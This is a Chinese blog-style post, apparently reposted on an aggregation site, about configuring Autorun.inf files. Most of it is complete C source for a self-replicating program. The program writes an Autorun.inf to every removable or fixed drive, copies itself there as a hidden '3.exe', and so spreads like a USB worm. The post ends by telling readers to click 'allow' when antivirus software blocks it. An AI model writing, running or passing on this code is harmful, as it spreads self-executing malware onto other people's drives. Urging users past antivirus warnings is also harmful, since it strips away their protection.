您的位置:首页 > 其它

关于Autorun.inf文件

2016-01-01 04:20 393 查看
配置Autorun.inf文件可以使双击磁盘时,自动运行某一应用程序。但是现在只支持CD或者DVD媒体了(以前硬盘也可以)

关于Autorun.inf的组成部分可以参考https://msdn.microsoft.com/zh-cn/cc144200

c语言编写程序的原理是,遍历C~Z所有分区,检查其类型,对所有DRIVE_REMOVABLE||DRIVE_FIXED类型的分区,写入使自身自动运行的Autorun.inf文件,将自身复制到相应分区的根目录下,同时将自己的属性设置为隐藏

程序如下:

#include<stdio.h>
#include<windows.h>

int main()
{
char Disk=NULL;
UINT Type=0;
FILE *fp;
char strFileName[MAX_PATH]={0};
char szDriveName[4]={0};
wsprintf(szDriveName,"C:\0");

for(szDriveName[0]='C';szDriveName[0]<'Z';szDriveName[0]++)
{
Type=GetDriveType(szDriveName);
if((Type==DRIVE_REMOVABLE)||(Type==DRIVE_FIXED))
{
Disk=szDriveName[0];
sprintf(strFileName,"%c:\\Autorun.inf",Disk);
fp=fopen(strFileName,"w+");
fprintf(fp,"[AutoRun]\n");
fprintf(fp,"OPEN=3.exe\n");
fprintf(fp,"SHELLEXECUTE=3.exe\n");
fprintf(fp,"shell\\Auto\\command=3.exe\n");
fprintf(fp,"shell=Auto");
fclose(fp);

char selfPath[MAX_PATH];
char allRootPath[30];
GetModuleFileName(0,selfPath,MAX_PATH);
sprintf(allRootPath,"%c:\\3.exe",Disk);
CopyFile(selfPath,allRootPath,TRUE);
SetFileAttributes(allRootPath,FILE_ATTRIBUTE_HIDDEN);
}
}
return 0;
}


程序被杀毒软件阻止了,点击允许操作就好
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: